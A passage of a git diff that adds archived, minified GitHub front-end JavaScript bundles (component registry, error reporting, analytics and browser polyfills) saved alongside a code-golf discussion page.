opy",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("app_assets_modules_github_behaviors_remote-clipboard-copy_ts")]).then(s.bind(s,53287))),t("series-table",()=>s.e("app_assets_modules_github_insights_series-table_ts").then(s.bind(s,82100))),t("line-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_line-chart_ts")]).then(s.bind(s,75689))),t("bar-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_bar-chart_ts")]).then(s.bind(s,83515))),t("column-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_column-chart_ts")]).then(s.bind(s,86564))),t("stacked-area-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_stacked-area-chart_ts")]).then(s.bind(s,96514))),t("presence-avatars",()=>s.e("app_assets_modules_github_presence_presence-avatars_ts").then(s.bind(s,33096))),t("pulse-authors-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_pulse-authors-graph-element_ts")]).then(s.bind(s,97724))),t("stacks-input-config-view",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_assets_modules_github_stacks_stacks-input-config-view_ts")]).then(s.bind(s,97818))),t("community-contributions-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_community-contributions_ts")]).then(s.bind(s,14008))),t("discussion-page-views-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussion-page-views_ts")]).then(s.bind(s,16427))),t("discussions-daily-contributors",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussions-daily-contributors_ts")]).then(s.bind(s,69142))),t("discussions-new-contributors",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussions-new-contributors_ts")]).then(s.bind(s,72895))),t("code-frequency-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_graphs_code-frequency-graph-element_ts")]).then(s.bind(s,29728))),t("contributors-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-array_src_descending_js-node_modules_d3-brush_src_index_js-node_modul-a5b158"),s.e("app_assets_modules_github_graphs_contributors-graph-element_ts")]).then(s.bind(s,56194))),t("org-insights-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-array_src_bisector_js-node_modules_d3-selection_src_pointer_js-node_m-1e8834"),s.e("app_assets_modules_github_graphs_org-insights-graph-element_ts")]).then(s.bind(s,79429))),t("traffic-clones-graph",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_traffic-clones-graph-element_ts")]).then(s.bind(s,69549))),t("traffic-visitors-graph",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_traffic-visitors-graph-element_ts")]).then(s.bind(s,5932))),t("commit-activity-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("app_assets_modules_github_graphs_commit-activity-graph-element_ts")]).then(s.bind(s,30579))),t("marketplace-insights-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_marketplace-insights-graph-element_ts")]).then(s.bind(s,23825))),t("user-sessions-map",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-ease_src_circle_js-node_modules_d3-format_src_defaultLocale_js-node_m-a1674d"),s.e("app_assets_modules_github_settings_user-sessions-map-element_ts")]).then(s.bind(s,75020))),t("reload-after-polling",()=>s.e("app_assets_modules_github_behaviors_reload-after-polling-element_ts").then(s.bind(s,87159))),t("package-dependencies-security-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_package-dependencies-security-graph-element_ts")]).then(s.bind(s,69709))),t(".js-sub-dependencies",()=>s.e("app_assets_modules_github_dependencies_ts").then(s.bind(s,42221))),t("network-graph",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_catalyst_lib_inde-758ef9"),s.e("app_assets_modules_github_graphs_network-graph-element_ts")]).then(s.bind(s,11507))),t("business-audit-log-map",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-ease_src_circle_js-node_modules_d3-format_src_defaultLocale_js-node_m-a1674d"),s.e("app_assets_modules_github_behaviors_pjax_ts"),s.e("app_assets_modules_github_business-audit-log-map-element_ts")]).then(s.bind(s,15529))),t("inline-machine-translation",()=>s.e("app_assets_modules_github_localization_inline-machine-translation-element_ts").then(s.bind(s,96002)))}},l=>{var a=m(d=>l(l.s=d),"__webpack_exec__"),s=a(92333)}]);})(); + +//# sourceMappingURL=element-registry-5c2629948a88.js.map \ No newline at end of file diff --git a/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js new file mode 100644 index 0000000..f34ff2e --- /dev/null +++ b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js @@ -0,0 +1,4 @@ +(()=>{var J=Object.defineProperty;var e=(w,t)=>J(w,"name",{value:t,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["environment"],{83721:(w,t,i)=>{"use strict";var a=i(92003);window.addEventListener("error",c=>{c.error&&(0,a.eK)(c.error)}),window.addEventListener("unhandledrejection",async c=>{if(!!c.promise)try{await c.promise}catch(f){(0,a.eK)(f)}}),window.location.hash==="#b00m"&&setTimeout(()=>{throw new Error("b00m")});var v=i(30523),l=i(50232);(0,l.nn)()},47930:(w,t,i)=>{"use strict";i.d(t,{S:()=>c});function a(f){const o=document.querySelectorAll(f);if(o.length>0)return o[o.length-1]}e(a,"queryLast");function v(){const f=a("meta[name=analytics-location]");return f?f.content:window.location.pathname}e(v,"pagePathname");function l(){const f=a("meta[name=analytics-location-query-strip]");let o="";f||(o=window.location.search);const u=a("meta[name=analytics-location-params]");u&&(o+=(o?"&":"?")+u.content);for(const b of document.querySelectorAll("meta[name=analytics-param-rename]")){const d=b.content.split(":",2);o=o.replace(new RegExp(`(^|[?&])${d[0]}($|=)`,"g"),`$1${d[1]}$2`)}return o}e(l,"pageQuery");function c(){return`${window.location.protocol}//${window.location.host}${v()+l()}`}e(c,"requestUri")},7739:(w,t,i)=>{"use strict";i.d(t,{C:()=>v,x:()=>a});const a=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(l=>{document.addEventListener("DOMContentLoaded",()=>{l()})})}(),v=function(){return document.readyState==="complete"?Promise.resolve():new Promise(l=>{window.addEventListener("load",l)})}()},92003:(w,t,i)=>{"use strict";i.d(t,{aJ:()=>s,cI:()=>E,eK:()=>S});var a=i(29946),v=i(97474),l=i(82918),c=i(50232),f=i(28382),o=i(47930),u=i(49815);let b=!1,d=0;const y=Date.now();function S(p,_={}){p&&p.name!=="AbortError"&&O(I(T(p),_))}e(S,"reportError");async function O(p){var _,A;if(!L())return;const x=(A=(_=document.head)==null?void 0:_.querySelector('meta[name="browser-errors-url"]'))==null?void 0:A.content;if(!!x){if(n(p.error.stacktrace)){b=!0;return}d++;try{await fetch(x,{method:"post",body:JSON.stringify(p)})}catch{}}}e(O,"report");function T(p){return{type:p.name,value:p.message,stacktrace:E(p)}}e(T,"formatError");function I(p,_={}){return Object.assign({error:p,sanitizedUrl:(0,o.S)()||window.location.href,readyState:document.readyState,referrer:(0,a.wP)(),timeSinceLoad:Math.round(Date.now()-y),user:s()||void 0,turbo:(0,u.c)("TURBO")},_)}e(I,"errorContext");function E(p){return(0,f.Q)(p.stack||"").map(_=>({filename:_.file||"",function:String(_.methodName),lineno:(_.lineNumber||0).toString(),colno:(_.column||0).toString()}))}e(E,"stacktrace");const r=/(chrome|moz|safari)-extension:\/\//;function n(p){return p.some(_=>r.test(_.filename)||r.test(_.function))}e(n,"isExtensionError");function s(){var p,_;const A=(_=(p=document.head)==null?void 0:p.querySelector('meta[name="user-login"]'))==null?void 0:_.content;return A||`anonymous-${(0,l.b)()}`}e(s,"pageUser");let g=!1;window.addEventListener("pageshow",()=>g=!1),window.addEventListener("pagehide",()=>g=!0),document.addEventListener(a.QE.ERROR,p=>{O(I({type:"SoftNavError",value:p.detail,stacktrace:E(new Error)}))});function L(){return!g&&!b&&d<10&&(0,c.Gb)()&&!(0,v.Z)(document)}e(L,"reportable"),typeof BroadcastChannel=="function"&&new BroadcastChannel("shared-worker-error").addEventListener("message",_=>{S(_.data.error)})},49815:(w,t,i)=>{"use strict";i.d(t,{$:()=>o,c:()=>c});var a=i(15205);const v=(0,a.Z)(l);function l(){var u,b;return(((b=(u=document.head)==null?void 0:u.querySelector('meta[name="enabled-features"]'))==null?void 0:b.content)||"").split(",")}e(l,"enabledFeatures");const c=(0,a.Z)(f);function f(u){return v().indexOf(u)!==-1}e(f,"isEnabled");const o={isFeatureEnabled:c}},97474:(w,t,i)=>{"use strict";i.d(t,{Z:()=>a});function a(v){var l,c;const f=(c=(l=v.head)==null?void 0:l.querySelector('meta[name="expected-hostname"]'))==null?void 0:c.content;if(!f)return!1;const o=f.replace(/\.$/,"").split(".").slice(-2).join("."),u=v.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return o!==u}e(a,"detectProxySite")},84818:(w,t,i)=>{"use strict";i.d(t,{Z:()=>v});class a{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}e(a,"NoOpStorage");function v(l,c={throwQuotaErrorsOnSet:!1},f=window){let o;try{o=f[l]}catch{o=new a}const{throwQuotaErrorsOnSet:u}=c;function b(S){try{return o.getItem(S)}catch{return null}}e(b,"getItem");function d(S,O){try{o.setItem(S,O)}catch(T){if(u&&T.message.toLowerCase().includes("quota"))throw T}}e(d,"setItem");function y(S){try{o.removeItem(S)}catch{}}return e(y,"removeItem"),{getItem:b,setItem:d,removeItem:y}}e(v,"safeStorage")},24216:(w,t,i)=>{"use strict";i.d(t,{LS:()=>l,cl:()=>c,rV:()=>v});var a=i(84818);const{getItem:v,setItem:l,removeItem:c}=(0,a.Z)("sessionStorage")},29946:(w,t,i)=>{"use strict";i.d(t,{Ak:()=>I,F2:()=>A,F6:()=>g,FP:()=>O,LD:()=>S,OE:()=>y,Po:()=>d,QE:()=>c,Rl:()=>p,Xk:()=>n,Ys:()=>s,aN:()=>_,wP:()=>L});var a=i(24216),v=i(47930),l=i(45922);const c=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),f="soft-navigation-fail",o="soft-navigation-referrer",u="soft-navigation-marker",b="reload";function d(){return(0,a.rV)(u)==="1"}e(d,"inSoftNavigation");function y(){return Boolean(E())}e(y,"hasSoftNavFailure");function S(){performance.mark(u),(0,a.LS)(u,"1"),(0,a.LS)(o,(0,v.S)()||window.location.href)}e(S,"startSoftNav");function O(){(0,a.LS)(u,"0")}e(O,"endSoftNav");function T(){(0,a.LS)(u,"0"),(0,a.cl)(o),(0,a.cl)(f)}e(T,"clearSoftNav");function I(x){(0,a.LS)(f,x||b)}e(I,"setSoftNavFailReason");function E(){return(0,a.rV)(f)}e(E,"getSoftNavFailReason");let r=0;function n(){r+=1,document.dispatchEvent(new CustomEvent(c.SUCCESS,{detail:r}))}e(n,"softNavSucceeded");function s(){const x=E()||b;document.dispatchEvent(new CustomEvent(c.ERROR,{detail:x})),r=0,T(),(0,l.b)({turboFailureReason:x})}e(s,"softNavFailed");function g(){document.dispatchEvent(new CustomEvent(c.INITIAL)),r=0,T()}e(g,"softNavInitial");function L(){return(0,a.rV)(o)||document.referrer}e(L,"getSoftNavReferrer");function p(){return performance.getEntriesByName(u).length===0?0:performance.measure(u,u).duration}e(p,"getDurationSinceLastSoftNav");function _(){document.dispatchEvent(new Event(c.START))}e(_,"beginProgressBar");function A(){document.dispatchEvent(new Event(c.END))}e(A,"completeProgressBar")},45922:(w,t,i)=>{"use strict";i.d(t,{b:()=>c});var a=i(97474),v=i(7739);let l=[];function c(d,y=!1){d.timestamp===void 0&&(d.timestamp=new Date().getTime()),d.loggedIn=b(),l.push(d),y?u():o()}e(c,"sendStats");let f=null;async function o(){await v.C,f==null&&(f=window.requestIdleCallback(u))}e(o,"scheduleSendStats");function u(){var d,y;if(f=null,!l.length||(0,a.Z)(document))return;const S=(y=(d=document.head)==null?void 0:d.querySelector('meta[name="browser-stats-url"]'))==null?void 0:y.content;if(!S)return;const O=JSON.stringify({stats:l});try{navigator.sendBeacon&&navigator.sendBeacon(S,O)}catch{}l=[]}e(u,"flushStats");function b(){var d,y;return!!((y=(d=document.head)==null?void 0:d.querySelector('meta[name="user-login"]'))==null?void 0:y.content)}e(b,"isLoggedIn"),document.addEventListener("pagehide",u),document.addEventListener("visibilitychange",u)},30523:w=>{(function(){"use strict";var t=window,i=document;function a(l){var c=["MSIE ","Trident/","Edge/"];return new RegExp(c.join("|")).test(l)}e(a,"isMicrosoftBrowser");function v(){if("scrollBehavior"in i.documentElement.style&&t.__forceSmoothScrollPolyfill__!==!0)return;var l=t.HTMLElement||t.Element,c=468,f=a(t.navigator.userAgent)?1:0,o={scroll:t.scroll||t.scrollTo,scrollBy:t.scrollBy,elementScroll:l.prototype.scroll||b,scrollIntoView:l.prototype.scrollIntoView},u=t.performance&&t.performance.now?t.performance.now.bind(t.performance):Date.now;function b(n,s){this.scrollLeft=n,this.scrollTop=s}e(b,"scrollElement");function d(n){return .5*(1-Math.cos(Math.PI*n))}e(d,"ease");function y(n){if(n===null||typeof n!="object"||n.behavior===void 0||n.behavior==="auto"||n.behavior==="instant")return!0;if(typeof n=="object"&&n.behavior==="smooth")return!1;throw new TypeError("behavior member of ScrollOptions "+n.behavior+" is not a valid value for enumeration ScrollBehavior.")}e(y,"shouldBailOut");function S(n,s){if(s==="Y")return n.clientHeight+f1?1:_,g=d(_),L=n.startX+(n.x-n.startX)*g,p=n.startY+(n.y-n.startY)*g,n.method.call(n.scrollable,L,p),(L!==n.x||p!==n.y)&&t.requestAnimationFrame(E.bind(t,n))}e(E,"step");function r(n,s,g){var L,p,_,A,x=u();n===i.body?(L=t,p=t.scrollX||t.pageXOffset,_=t.scrollY||t.pageYOffset,A=o.scroll):(L=n,p=n.scrollLeft,_=n.scrollTop,A=b),E({scrollable:L,method:A,startTime:x,startX:p,startY:_,x:s,y:g})}e(r,"smoothScroll"),t.scroll=t.scrollTo=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){o.scroll.call(t,arguments[0].left!==void 0?arguments[0].left:typeof arguments[0]!="object"?arguments[0]:t.scrollX||t.pageXOffset,arguments[0].top!==void 0?arguments[0].top:arguments[1]!==void 0?arguments[1]:t.scrollY||t.pageYOffset);return}r.call(t,i.body,arguments[0].left!==void 0?~~arguments[0].left:t.scrollX||t.pageXOffset,arguments[0].top!==void 0?~~arguments[0].top:t.scrollY||t.pageYOffset)}},t.scrollBy=function(){if(arguments[0]!==void 0){if(y(arguments[0])){o.scrollBy.call(t,arguments[0].left!==void 0?arguments[0].left:typeof arguments[0]!="object"?arguments[0]:0,arguments[0].top!==void 0?arguments[0].top:arguments[1]!==void 0?arguments[1]:0);return}r.call(t,i.body,~~arguments[0].left+(t.scrollX||t.pageXOffset),~~arguments[0].top+(t.scrollY||t.pageYOffset))}},l.prototype.scroll=l.prototype.scrollTo=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){if(typeof arguments[0]=="number"&&arguments[1]===void 0)throw new SyntaxError("Value couldn't be converted");o.elementScroll.call(this,arguments[0].left!==void 0?~~arguments[0].left:typeof arguments[0]!="object"?~~arguments[0]:this.scrollLeft,arguments[0].top!==void 0?~~arguments[0].top:arguments[1]!==void 0?~~arguments[1]:this.scrollTop);return}var n=arguments[0].left,s=arguments[0].top;r.call(this,this,typeof n=="undefined"?this.scrollLeft:~~n,typeof s=="undefined"?this.scrollTop:~~s)}},l.prototype.scrollBy=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){o.elementScroll.call(this,arguments[0].left!==void 0?~~arguments[0].left+this.scrollLeft:~~arguments[0]+this.scrollLeft,arguments[0].top!==void 0?~~arguments[0].top+this.scrollTop:~~arguments[1]+this.scrollTop);return}this.scroll({left:~~arguments[0].left+this.scrollLeft,top:~~arguments[0].top+this.scrollTop,behavior:arguments[0].behavior})}},l.prototype.scrollIntoView=function(){if(y(arguments[0])===!0){o.scrollIntoView.call(this,arguments[0]===void 0?!0:arguments[0]);return}var n=I(this),s=n.getBoundingClientRect(),g=this.getBoundingClientRect();n!==i.body?(r.call(this,n,n.scrollLeft+g.left-s.left,n.scrollTop+g.top-s.top),t.getComputedStyle(n).position!=="fixed"&&t.scrollBy({left:s.left,top:s.top,behavior:"smooth"})):t.scrollBy({left:g.left,top:g.top,behavior:"smooth"})}}e(v,"polyfill"),w.exports={polyfill:v}})()},28382:(w,t,i)=>{"use strict";i.d(t,{Q:()=>v});var a="";function v(E){var r=E.split(` +`);return r.reduce(function(n,s){var g=f(s)||u(s)||y(s)||I(s)||O(s);return g&&n.push(g),n},[])}e(v,"parse");var l=/^\s*at (.*?) ?\(((?:file|https?|blob|chrome-extension|native|eval|webpack||\/).*?)(?::(\d+))?(?::(\d+))?\)?\s*$/i,c=/\((\S*)(?::(\d+))(?::(\d+))\)/;function f(E){var r=l.exec(E);if(!r)return null;var n=r[2]&&r[2].indexOf("native")===0,s=r[2]&&r[2].indexOf("eval")===0,g=c.exec(r[2]);return s&&g!=null&&(r[2]=g[1],r[3]=g[2],r[4]=g[3]),{file:n?null:r[2],methodName:r[1]||a,arguments:n?[r[2]]:[],lineNumber:r[3]?+r[3]:null,column:r[4]?+r[4]:null}}e(f,"parseChrome");var o=/^\s*at (?:((?:\[object object\])?.+) )?\(?((?:file|ms-appx|https?|webpack|blob):.*?):(\d+)(?::(\d+))?\)?\s*$/i;function u(E){var r=o.exec(E);return r?{file:r[2],methodName:r[1]||a,arguments:[],lineNumber:+r[3],column:r[4]?+r[4]:null}:null}e(u,"parseWinjs");var b=/^\s*(.*?)(?:\((.*?)\))?(?:^|@)((?:file|https?|blob|chrome|webpack|resource|\[native).*?|[^@]*bundle)(?::(\d+))?(?::(\d+))?\s*$/i,d=/(\S+) line (\d+)(?: > eval line \d+)* > eval/i;function y(E){var r=b.exec(E);if(!r)return null;var n=r[3]&&r[3].indexOf(" > eval")>-1,s=d.exec(r[3]);return n&&s!=null&&(r[3]=s[1],r[4]=s[2],r[5]=null),{file:r[3],methodName:r[1]||a,arguments:r[2]?r[2].split(","):[],lineNumber:r[4]?+r[4]:null,column:r[5]?+r[5]:null}}e(y,"parseGecko");var S=/^\s*(?:([^@]*)(?:\((.*?)\))?@)?(\S.*?):(\d+)(?::(\d+))?\s*$/i;function O(E){var r=S.exec(E);return r?{file:r[3],methodName:r[1]||a,arguments:[],lineNumber:+r[4],column:r[5]?+r[5]:null}:null}e(O,"parseJSC");var T=/^\s*at (?:((?:\[object object\])?[^\\/]+(?: \[as \S+\])?) )?\(?(.*?):(\d+)(?::(\d+))?\)?\s*$/i;function I(E){var r=T.exec(E);return r?{file:r[2],methodName:r[1]||a,arguments:[],lineNumber:+r[3],column:r[4]?+r[4]:null}:null}e(I,"parseNode")},50232:(w,t,i)=>{"use strict";i.d(t,{nn:()=>Q,Gb:()=>Z});function a(m){const h=new AbortController;return h.abort(m),h.signal}e(a,"abortsignal_abort_abortSignalAbort");function v(){return"abort"in AbortSignal&&typeof AbortSignal.abort=="function"}e(v,"isSupported");function l(){return AbortSignal.abort===a}e(l,"isPolyfilled");function c(){v()||(AbortSignal.abort=a)}e(c,"apply");function f(m){const h=new AbortController;return setTimeout(()=>h.abort(new DOMException("TimeoutError")),m),h.signal}e(f,"abortsignal_timeout_abortSignalTimeout");function o(){return"abort"in AbortSignal&&typeof AbortSignal.timeout=="function"}e(o,"abortsignal_timeout_isSupported");function u(){return AbortSignal.timeout===f}e(u,"abortsignal_timeout_isPolyfilled");function b(){o()||(AbortSignal.timeout=f)}e(b,"abortsignal_timeout_apply");class d extends Error{constructor(h,P,C={}){super(P);Object.defineProperty(this,"errors",{value:Array.from(h),configurable:!0,writable:!0}),C.cause&&Object.defineProperty(this,"cause",{value:C.cause,configurable:!0,writable:!0})}}e(d,"AggregateError");function y(){return typeof globalThis.AggregateError=="function"}e(y,"aggregateerror_isSupported");function S(){return globalThis.AggregateError===d}e(S,"aggregateerror_isPolyfilled");function O(){y()||(globalThis.AggregateError=d)}e(O,"aggregateerror_apply");const T=Reflect.getPrototypeOf(Int8Array)||{};function I(m){const h=this.length;return m=Math.trunc(m)||0,m<0&&(m+=h),m<0||m>=h?void 0:this[m]}e(I,"arrayLikeAt");function E(){return"at"in Array.prototype&&typeof Array.prototype.at=="function"&&"at"in String.prototype&&typeof String.prototype.at=="function"&&"at"in T&&typeof T.at=="function"}e(E,"arraylike_at_isSupported");function r(){return Array.prototype.at===I&&String.prototype.at===I&&T.at===I}e(r,"arraylike_at_isPolyfilled");function n(){if(!E()){const m={value:I,writable:!0,configurable:!0};Object.defineProperty(Array.prototype,"at",m),Object.defineProperty(String.prototype,"at",m),Object.defineProperty(T,"at",m)}}e(n,"arraylike_at_apply");function s(){const m=new Uint32Array(4);crypto.getRandomValues(m);let h=-1;return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(P){h++;const C=m[h>>3]>>h%8*4&15;return(P==="x"?C:C&3|8).toString(16)})}e(s,"randomUUID");function g(){return typeof crypto=="object"&&"randomUUID"in crypto&&typeof crypto.randomUUID=="function"}e(g,"crypto_randomuuid_isSupported");function L(){return g()&&crypto.randomUUID===s}e(L,"crypto_randomuuid_isPolyfilled");function p(){g()||(crypto.randomUUID=s)}e(p,"crypto_randomuuid_apply");const _=EventTarget.prototype.addEventListener;function A(m,h,P){if(typeof P=="object"&&"signal"in P&&P.signal instanceof AbortSignal){if(P.signal.aborted)return;_.call(P.signal,"abort",()=>{this.removeEventListener(m,h,P)})}return _.call(this,m,h,P)}e(A,"addEventListenerWithAbortSignal");function x(){let m=!1;const h=e(()=>m=!0,"setSignalSupported");function P(){}e(P,"noop");const C=Object.create({},{signal:{get:h}});try{const R=new EventTarget;return R.addEventListener("test",P,C),R.removeEventListener("test",P,C),m}catch{return m}}e(x,"event_abortsignal_isSupported");function ee(){return EventTarget.prototype.addEventListener===A}e(ee,"event_abortsignal_isPolyfilled");function $(){typeof AbortSignal=="function"&&!x()&&(EventTarget.prototype.addEventListener=A)}e($,"event_abortsignal_apply");const K=Object.prototype.hasOwnProperty;function N(m,h){if(m==null)throw new TypeError("Cannot convert undefined or null to object");return K.call(Object(m),h)}e(N,"object_hasown_objectHasOwn");function M(){return"hasOwn"in Object&&typeof Object.hasOwn=="function"}e(M,"object_hasown_isSupported");function te(){return Object.hasOwn===N}e(te,"object_hasown_isPolyfilled");function V(){M()||Object.defineProperty(Object,"hasOwn",{value:N,configurable:!0,writable:!0})}e(V,"object_hasown_apply");function j(m){return new Promise((h,P)=>{let C=!1;const R=Array.from(m),k=[];function z(D){C||(C=!0,h(D))}e(z,"resolveOne");function G(D){k.push(D),k.length===R.length&&P(new globalThis.AggregateError(k,"All Promises rejected"))}e(G,"rejectIfDone");for(const D of R)Promise.resolve(D).then(z,G)})}e(j,"promise_any_promiseAny");function U(){return"any"in Promise&&typeof Promise.any=="function"}e(U,"promise_any_isSupported");function ne(){return Promise.all===j}e(ne,"promise_any_isPolyfilled");function X(){U()||(Promise.any=j)}e(X,"promise_any_apply");const Y=50;function B(m,h={}){const P=Date.now(),C=h.timeout||0,R=Object.defineProperty({didTimeout:!1,timeRemaining(){return Math.max(0,Y-(Date.now()-P))}},"didTimeout",{get(){return Date.now()-P>C}});return window.setTimeout(()=>{m(R)})}e(B,"requestidlecallback_requestIdleCallback");function F(m){clearTimeout(m)}e(F,"cancelIdleCallback");function W(){return typeof globalThis.requestIdleCallback=="function"}e(W,"requestidlecallback_isSupported");function re(){return globalThis.requestIdleCallback===B&&globalThis.cancelIdleCallback===F}e(re,"requestidlecallback_isPolyfilled");function q(){W()||(globalThis.requestIdleCallback=B,globalThis.cancelIdleCallback=F)}e(q,"requestidlecallback_apply");const H=typeof Blob=="function"&&typeof PerformanceObserver=="function"&&typeof Intl=="object"&&typeof MutationObserver=="function"&&typeof URLSearchParams=="function"&&typeof WebSocket=="function"&&typeof IntersectionObserver=="function"&&typeof queueMicrotask=="function"&&typeof TextEncoder=="function"&&typeof TextDecoder=="function"&&typeof customElements=="object"&&typeof HTMLDetailsElement=="function"&&typeof AbortController=="function"&&typeof AbortSignal=="function"&&"entries"in FormData.prototype&&"toggleAttribute"in Element.prototype&&"replaceChildren"in Element.prototype&&"fromEntries"in Object&&"flatMap"in Array.prototype&&"trimEnd"in String.prototype&&"allSettled"in Promise&&"matchAll"in String.prototype&&"replaceAll"in String.prototype&&!0;function Z(){return H&&v()&&o()&&y()&&E()&&g()&&x()&&M()&&U()&&W()}e(Z,"lib_isSupported");function oe(){return abortSignalAbort.isPolyfilled()&&abortSignalTimeout.isPolyfilled()&&aggregateError.isPolyfilled()&&arrayAt.isPolyfilled()&&cryptoRandomUUID.isPolyfilled()&&eventAbortSignal.isPolyfilled()&&objectHasOwn.isPolyfilled()&&promiseAny.isPolyfilled()&&requestIdleCallback.isPolyfilled()}e(oe,"lib_isPolyfilled");function Q(){c(),b(),O(),n(),p(),$(),V(),X(),q()}e(Q,"lib_apply")},82918:(w,t,i)=>{"use strict";i.d(t,{b:()=>f});let a;function 